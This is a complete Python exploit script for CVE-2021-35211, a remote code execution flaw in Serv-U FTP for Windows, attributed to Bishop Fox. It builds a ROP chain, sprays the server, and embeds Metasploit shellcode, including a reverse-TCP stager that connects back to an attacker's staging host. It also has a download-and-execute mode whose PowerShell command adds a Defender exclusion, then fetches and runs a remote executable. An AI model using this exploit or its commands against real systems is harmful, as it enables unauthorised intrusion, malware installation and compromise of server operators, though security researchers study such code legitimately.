README.md
Rendering markdown...
#!/usr/bin/env python3
'''
Author: 0xhaggis @ Bishop Fox
URL: https://github.com/0xhaggis/CVE-2021-35211
Date: Nov 2021
Purpose: Exploit for CVE-2021-35211, a memory corruption vulnerability in
Serv-U FTP for Windows, allowing remote code execution.
Notes: - This exploit doesn't always work first time. Try multiple runs
if you're not getting results.
- The Serv-U daemon will often crash after successfully running shellcode.
In "command exec" mode this exploit will automatically restart
the Serv-U process once its finished, minimizing impact. Users will
be disconnected if there are active sessions on the server.
- In "shellcode stager" and "download / exec" modes, this exploit
will NOT restart the service and it's on you to do so by
running "net start serv-u".
- Usage of this tool for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey
all applicable local, state, and federal laws. Developers assume
no liability and are not responsible for any misuse or damage
caused by this program.
Usage: python3 CVE-2021-35211.py -h
python3 CVE-2021-35211.py exec -h
python3 CVE-2021-35211.py stage -h
python3 CVE-2021-35211.py downloadexec -h
'''
import socket
import struct
import sys
import time
import argparse
##
## TBD support for multiple versions of Serv-U
## Currently hard-coded for SSH-2.0-Serv-U_15.2.3.717
##
versions = {
"SSH-2.0-Serv-U_15.1.5.10" : {
"ROP_thing" : 0xdeadbeef,
"ROP_stuff" : 0x11223344
},
"SSH-2.0-Serv-U_15.2.3.717" : {
"ROP_thing" : 0xdeadbeef,
"ROP_stuff" : 0x11223344
},
"SSH-2.0-Serv-U_15.x.y.z" : {
"ROP_thing" : 0xdeadbeef,
"ROP_stuff" : 0x11223344
}
}
##
## Useful ROP gadgets that we'll use to build a ROP chain
##
ROP_stack_pivot = 0x18010391a # mov rsp, r11 ; pop r14 ; ret
ROP_int3 = 0x180017ddf # int 3; ret 0
ROP_nop = 0x180168730 # nop ; ret
ROP_jmp_rax = 0x000000018016fcd6 # jmp rax
ROP_jmp_qword_ptr_rax = 0x18016f135 # jmp qword ptr [rax]
ROP_call_rbx_dref = 0x0000000180174a47 # call qword ptr [rbx]
ROP_push_rax = 0x1803212e0
ROP_push_rsi = 0x18007bf01
ROP_push_rbp_pop_rax = 0x000000018001d80b # push rbp ; pop rax ; add byte ptr [rax], al ; ret
ROP_push_rax_pop_rbx = 0x00000001800d243d # push rax ; pop rbx ; ret
ROP_push_rbp_pop_rbx = 0x180126d6f # push rbp ; add dword [rax], eax ; add rsp, 0x20 ; pop rbx; ret
ROP_pop_rbp_pop_rbx = 0x1801c27fd # pop rbp ; pop rbx ; ret
ROP_pop_rsp_pop_rdi = 0x1801a0e71
ROP_pop_rdx = 0x0000000180085223
ROP_pop_rbx = 0x000000018009290b
ROP_pop_rax = 0x0000000180037f84
ROP_pop_rcx = 0x00000001801785c3
ROP_pop_rdi = 0x000000018007350c
ROP_pop_r8 = 0x00000001800bb739
ROP_pop_r15 = 0x18007e137
ROP_mov_rax_r11 = 0x0000000180105dc9 # mov rax, r11 ; ret
ROP_mov_rax_rdx = 0x000000018001bd00 # mov rax, rdx ; ret
ROP_mov_rcx_rax = 0x180050922 # mov rcx, rax ; cvttsd2si rax, xmm0 ; add rax, rcx ; add rsp, 0x28 ; ret
ROP_mov_rax_ptr_rbx = 0x0000000180155494 # mov rax, qword ptr [rbx + 0x20] ; add rsp, 0x20 ; pop rbx ; ret
ROP_mov_rax_ptr_rax = 0x000000018001c75e # mov rax, qword ptr [rax] ; add rsp, 0x20 ; pop rbx ; ret
ROP_mov_ptr_rbx_rax = 0x000000018013f1c4 # mov qword ptr [rbx], rax ; add rsp, 0x20 ; pop rbx ; ret
ROP_mov_ptr_rcx_rax = 0x180195c63
ROP_mov_ptr_rdx_rax = 0x180050e84 # perfect
#ROP_mov_ptr_rdx_rax = 0x1800af71f # mov qword ptr [rdx], rax ; mov rax, rdx ; ret
ROP_xchg_rax_r9 = 0x0000000180048d6f # xchg rax, r9 ; adc al, 0 ; add rsp, 0x38 ; ret
ROP_xchg_eax_ebx_add_rsp = 0x00000001800d4bc6 # xchg eax, ebx ; retf 0x56
ROP_xchg_eax_ebx = 0x00000001800d4bc6 # xchg eax, ebx ; ret
ROP_xchg_eax_esp = 0x000000018004d90b # xchg eax, esp ; ret
ROP_add_rax_rcx = 0x0000000180170ef5 # add rax, rcx ; ret
ROP_add_rax_rdx = 0x0000000180170f4a # add rax, rdx ; ret
ROP_add_rsp_0x28 = 0x00000001800811ce # adc al, 0 ; add rsp, 0x28 ; ret
ROP_sub_rax_8 = 0x18004e2a4 # sub rax, 8 ; ret
ROP_xor_al_al = 0x1800be59f
##
## Stuff we need to glue it all together
##
# from servu-u.dll version 15.2.3.717
writable_mem = 0x1803f2a80 # empty 8 bytes in .data
writable_mem2 = 0x1803f2a90 # empty 8 bytes in .data
imp_sleep = 0x00000001801c9428
imp_LoadLibraryW = 0x1801c9598
imp_GetCurrentProcessId = 0x1801c9400
imp_GetCurrentThreadId = 0x1801c92a0
imp_GetModuleHandleW = 0x1801c92c8
imp_GetProcAddress = 0x1801c9590
# from kernel32.dll on fully-patched Windows Server 2022 Datacenter as of 10/22/2021
offs_GetCurrentProcessID = 0x5B765
offs_VirtualProtect = 0x5B10
offs_VirtualProtect_string = 0x110
#offs_NOP_sled = 576
offs_NOP_sled = 1200
offs_NOP_sled_padding = 256
# our rop buffer that will be filled with a fake stack of rop gadgets.
alloc_size = 0x108
totalBufSize = 2500
rop = bytearray(alloc_size+totalBufSize);
# some constants
ROP_r9_offset = 0xf8 # offset in our payload that will populate register r9 prior to "call r9"
ropOffs = 0
connect_timeout = 8
spray_count = 64
wstr_kernel32 = 0x180313230
##
## Helpers
##
# write the QWORD (64 bits) 'qw' to offset 'o' in the rop buffer in little-endian byte order
def write_qw(o, qw): rop[o:o+8] = struct.pack('<Q', qw);
# concatenates the QWORD 'qw' to the rop buffer
def write_rop(qw):
global ropOffs
rop[ropOffs:ropOffs+8] = struct.pack('<Q', qw)
ropOffs = ropOffs + 8
# Shortcut for connecting to a remote TCP port
def connect_to_server(host, port):
global connect_timeout
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(connect_timeout)
sock.connect((host, port))
return sock
except socket.error as e:
print("[!] Failed to connect to %s:%d : %s" % (host, port, e))
exit()
# An animated progress bar for the exploit/shellcode sprayer
def sprayStatus(c):
if c % 8 != 0:
return
c = int(c / 8) + 1
print("[", end='')
for i in range(0, c):
print(".", end='')
for i in range(c, 32):
print(" ", end='')
print("]", end="\r")
##
## Off we go!
##
if __name__ == '__main__':
##
## Handle command-line arguments
##
parser = argparse.ArgumentParser(description="Serv-U-FTP 15.2.3.717 Exploit | CVE-2021-35211 | Bishop Fox, Oct 2021")
parser.add_argument("targetHost", help="Hostname or IPv4 address of the Serv-U server", type=str)
parser.add_argument("-p", dest="targetPort", help="TCP port that Serv-U is listening on (default: 22)", type=int, default=22)
subparsers = parser.add_subparsers()
msfStage = subparsers.add_parser("stage", help="Metasploit-compatible shellcode stager")
msfStage.add_argument("stageHost", help="Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance", type=str)
msfStage.add_argument("stagePort", help="Port number for your staging instance", type=int)
commandExec = subparsers.add_parser("exec", help="Run arbitrary commands on the target")
commandExec.add_argument("command", help="Command to run on the target, e.g. 'nslookup foo.bishopfox.com'", type=str)
commandExec.add_argument("-n", dest="noRestart", help="By default Serv-U is restarted after executing the command. Using -n disables this behavior", action="store_true")
dlExec = subparsers.add_parser("downloadexec", help="Download and run an executable file")
dlExec.add_argument("url", help="e.g. https://www.example.com/runme.exe", type=str)
args = parser.parse_args()
##
## make sure the target host is valid then convert to IP address
## validate serv-u version to ensure compatibility with this exploit
##
print("[+] Targeting %s:%s" % (args.targetHost, args.targetPort))
try:
targetIP = socket.gethostbyname(args.targetHost)
client = connect_to_server(targetIP, args.targetPort)
version = client.recv(1024).decode().replace('\r\n', '')
client.close()
if version != "SSH-2.0-Serv-U_15.2.3.717":
print("[!] Sorry, Serv-U FTP version '%s' is not supported." % version)
#exit()
else:
print("[+] Found Serv-U FTP Version SSH-2.0-Serv-U_15.2.3.717")
except socket.error as e:
print("[!] Error! Could not resolve host '%s': " % (args.targetHost), e)
exit()
##
## Zero out the entire payload buffer
##
print("[+] Setting up exploit payload buffer")
for i in range(0, alloc_size + totalBufSize, 8):
write_qw(i, 0x00 * 8)
##
## Build a ROP chain that makes the stack executable then jumps to our shellcode
##
print("[+] Constructing ROP chain")
# Setup the stack so our payload is in the correct place
#write_qw(ROP_r9_offset, ROP_stack_pivot) # populate r9
write_qw(ROP_r9_offset, ROP_stack_pivot) # populate r9
# skip right on over the start of the rop buffer, which we'll use as a scratch pad
write_rop(ROP_add_rsp_0x28)
ropOffs = ropOffs + 0x28
# start calcultaing address of kernel32!VirtualProtect
write_rop(ROP_pop_rcx)
write_rop(wstr_kernel32) # "k\x00e\x00r\x00n\x00e\x00l\x003\x002\x00.\x00d\x00l\x00l\x00\x00" # L"kernel32.dll" in Serv-U.dll
# skip over critical sections of the payload buffer that seem to get modified during execution
write_rop(ROP_add_rsp_0x28)
ropOffs = ropOffs + 0x28
write_rop(ROP_add_rsp_0x28)
ropOffs = ropOffs + 0x28
write_rop(ROP_pop_rax) # populate rax with pointer to...
write_rop(imp_GetModuleHandleW) # ...trampoline @ 0x1801c92a0 for kernel32!GetModuleHandleW
write_rop(ROP_mov_rax_ptr_rax) # move address of kernel32!GetModuleHandleW trampoline into rax
ropOffs = ropOffs + 0x28
write_rop(ROP_jmp_rax) # call GetModuleHandleW(L"kernel32.dll") returns HMODULE rax
write_rop(ROP_mov_rcx_rax) # rcx = rax = HMODULE handle to kernel32.dll image
ropOffs = ropOffs + 0x28
# write "VirtualProtect\x00\x00" to an unused address in .data
write_rop(ROP_pop_rdx)
write_rop(writable_mem)
write_rop(ROP_pop_rax)
write_rop(0x506c617574726956) # "VirtualP", but little-endian "PlautriV". Ends up in memory as "VirtualP".
write_rop(ROP_mov_ptr_rdx_rax)
# skip over critical sections of the payload buffer that seem to get modified during execution
write_rop(ROP_add_rsp_0x28)
ropOffs = ropOffs + 0x28
# write the other half of "VirtualProtect\x00" to the unused address in .data
write_rop(ROP_pop_rdx)
write_rop(writable_mem + 8)
write_rop(ROP_pop_rax)
write_rop(0x0000746365746f72) # "rotect\x00\x00", but little-endian. Now writablemem="VirtualProtect\x00\x00".
write_rop(ROP_mov_ptr_rdx_rax)
# setup the call to GetProcAddress()
write_rop(ROP_pop_rax)
write_rop(imp_GetProcAddress)
# rcx = HMODULE handle to kernel32
# rdx = pointer to the string "VirtualProtect\x00" @ writable_mem
write_rop(ROP_pop_rdx)
write_rop(writable_mem)
# Call GetProcAddress(kernel32_handle, "VirtualProtect\x00")
write_rop(ROP_jmp_qword_ptr_rax)
# skip over critical sections of the payload buffer that seem to get modified during execution
write_rop(ROP_add_rsp_0x28)
ropOffs = ropOffs + 0x28
# All being well, GetProcAddress() returned the addresss of VirtualProtect() in rax.
# Save rax in .data for use later
write_rop(ROP_pop_rdx)
write_rop(writable_mem2)
write_rop(ROP_mov_ptr_rdx_rax)
# Call VirtualProtect(rbp, 0x8000, 0x40, writable_mem)
# First arg to virtualprotect: the address to make RWX
write_rop(ROP_push_rbp_pop_rax) # put stack address into rax
write_rop(ROP_mov_rcx_rax) # copy stack address to rcx (address parameter)
ropOffs = ropOffs + 0x28
# Second arg, the size of the executable segment
write_rop(ROP_pop_rdx) # pop the size parameter off the stack
write_rop(alloc_size+0x4000)
# third arg, the virtual protection flags for RWX
write_rop(ROP_pop_r8) # pop the value 0x40 off the stack (page protection flags for RWX)
write_rop(0x40)
# fourth arg, a writable address in memory into which VirtualProtect will write result data
write_rop(ROP_pop_rax) # Pop a writable memory address off the stack
write_rop(writable_mem)
write_rop(ROP_xchg_rax_r9) # swap it into r9 for the final argument
ropOffs = ropOffs + 0x38
# We stored the address of VirtualProtect in writable_mem2, earlier.
# Pop it into rax.
write_rop(ROP_pop_rax)
write_rop(writable_mem2)
# Call VirtualProtect(rcx, rdx, r8, r9)
write_rop(ROP_jmp_qword_ptr_rax)
# skip over critical sections of the payload buffer that seem to get modified during execution
write_rop(ROP_add_rsp_0x28)
ropOffs = ropOffs + 0x28
# Jump to our shellcode
write_rop(ROP_push_rbp_pop_rax) # Put stack address into rax
write_rop(ROP_pop_rdx) # Pop the NOP sled offset value off the stack into rdx
write_rop(offs_NOP_sled)
write_rop(ROP_add_rax_rdx) # Add together the stack address + NOP sled offset
write_rop(ROP_jmp_rax) # jmp to the NOP sled
write_rop(ROP_int3) # We should never reach here.
print("[+] ROP chain complete. Size = %d bytes." % ropOffs)
##
## Fill the rest of the ROP payload with a NOP sled + shellcode
##
for i in range(ropOffs, totalBufSize, 8):
write_rop(0x9090909090909090)
# Make dat->stream.ctr allways NULL and execute CRYPTO_ctr128_encrypt_ctr function, which does "call r9"
write_qw(0x100, 0x00 * 8)
# Ensure a pointer to our first gadget is 16 bytes into the payload
write_qw(0x10, ROP_stack_pivot)
write_qw(ROP_r9_offset, ROP_stack_pivot)
##
## Populate the rop payload buffer with shellcode. It was made with msfvenom, for example:
##
## msfvenom --smallest -p windows/x64/meterpreter/reverse_tcp LHOST=192.153.76.22 LPORT=80 EXITFUNC=none -f c
##
print("[+] Adding shellcode")
# If the attribute "stageHost" is present in the commandline args then we're running in shellcode staging mode.
# Ensure that the specified host resolves to an IP
if hasattr(args, "stageHost"):
try:
stageServerIP = socket.gethostbyname(args.stageHost)
except:
print("Error! Could not resolve host '%s'!" % args.stageHost)
exit()
shellcode = (
# msf stager pulls from tcp://stageServerHost:stageServerPort with exitfunc = none, encoding = none
b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
b"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
b"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
b"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
b"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
b"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
b"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
b"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
b"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
b"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
b"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
b"\x49\xbc\x02\x00"
b"PP" # connect-back port @ offs 244
b"HHHH" # connect-back IP address @ offs 246
b"\x41\x54\x49\x89\xe4"
b"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
b"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
b"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
b"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
b"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
b"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
b"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
b"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
b"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
b"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
b"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
b"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
b"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
b"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
b"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
b"\xff\xe7\x58"
)
# calculate the relevant offsets for patching IP:port into the shellcode
offs = offs_NOP_sled+offs_NOP_sled_padding + 267 # magic
portOffs = offs + 244 # not magic
hostOffs = offs + 246
# patch the shellcode into our ROP chain / shellcode buffer
rop[offs:] = shellcode
# patch the staging server's IP:port into the shellcode
rop[portOffs:portOffs+2] = struct.pack(">H", args.stagePort) # pack in the port
rop[hostOffs:hostOffs+4] = socket.inet_aton(stageServerIP) # pack in the IP
else:
# We're in either downloadexec or exec mode.
cmd = ''
# If the 'url' attribute is present in the command-line args then we're in downloadexec mode.
if hasattr(args, 'url'):
cmd = "cmd /C \"@powershell -Command \"& {Add-MpPreference -ExclusionPath c:\\windows\\temp}\" & @powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('" + args.url + "','c:\\windows\\temp\\bishopfox.exe') & start /B c:\\windows\\temp\\bishopfox.exe & timeout 5 & start /b /wait net stop serv-u & timeout 5 & net start serv-u\""
# If the 'command' attribute is present in the command-line args then we're in exec mode.
elif hasattr(args, 'command'):
if args.noRestart:
cmd = 'cmd /C ' + args.command
else:
cmd = 'cmd /C "' + args.command + ' & start /b /wait net stop serv-u & timeout 5 & net start serv-u"'
# If we get here then something broke
else:
print("[!] wtf, error error")
exit()
# Populate ROP buffer with msfvenom command exec shellcode.
# Runs as 'NT AUTHORITY\SYSTEM' on the Serv-U server.
# exitfunc=thread
shellcode = (
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
b"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
b"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
b"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
b"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
b"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"
)
rop[offs_NOP_sled+offs_NOP_sled_padding+267:] = shellcode + cmd.encode() + b"\x00"
##
## Construct full payload that will be sent to Serv-U
##
spray = struct.pack('>IBBH', alloc_size, 5, 99, 0) + rop
##
## Showtime! Send the exploit payload to the Serv-U server
##
# Spray the payload into as many threads as we can on the target
try:
print("[+] Spraying Serv-U-FTP server @ %s:%d" % (args.targetHost, args.targetPort))
for i in range(spray_count):
sprayStatus(i)
client = connect_to_server(args.targetHost, args.targetPort)
client.send(b'SSH-2.0-\r\n' + spray)
client.close()
except:
print("[!] Failed during spray operation.")
exit()
# Spray complete. Now trigger the bug and hope we hit our sprayed payload
print("[+] Sending exploit trigger payload...")
client = connect_to_server(args.targetHost, args.targetPort)
client.send(b'SSH-2.0-Serv-U-PoC_0.2\r\n') # pretend to be a regular ssh client
#client.send(b'SSH-2.0-OpenSSH-8.1\r\n') # pretend to be a regular ssh client
time.sleep(0.1)
client.recv(65535)
#key Exchange Init
client.send(b'\x00\x00\x00\x76\x00\x14\x3B\xBC\x34\x64\xDC\xB4\x1C\xB6\x23\x3F\x54\x34\xE5\x1F\xD4\x30\x00\x00\x00\x12'
b'ecdh-sha2-nistp256\x00\x00\x00\x07ssh-rsa\x00\x00\x00\x0Aaes128-ctr\x00\x00\x00\x04none\x00\x00\x00\x04'
b'none\x00\x00\x00\x04none\x00\x00\x00\x04none\x00\x00\x00\x04none\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
client.send(b'\x00\x00\x00\x0c\x00\x15') # New Keys
client.send(b'SSH-2.0-\r\n' + spray)
client.close()
##
## If we get here then there's a chance we pwned the server
##
print("[+] Done! Sometimes it takes a few runs to work - try again if it failed.")
## EOF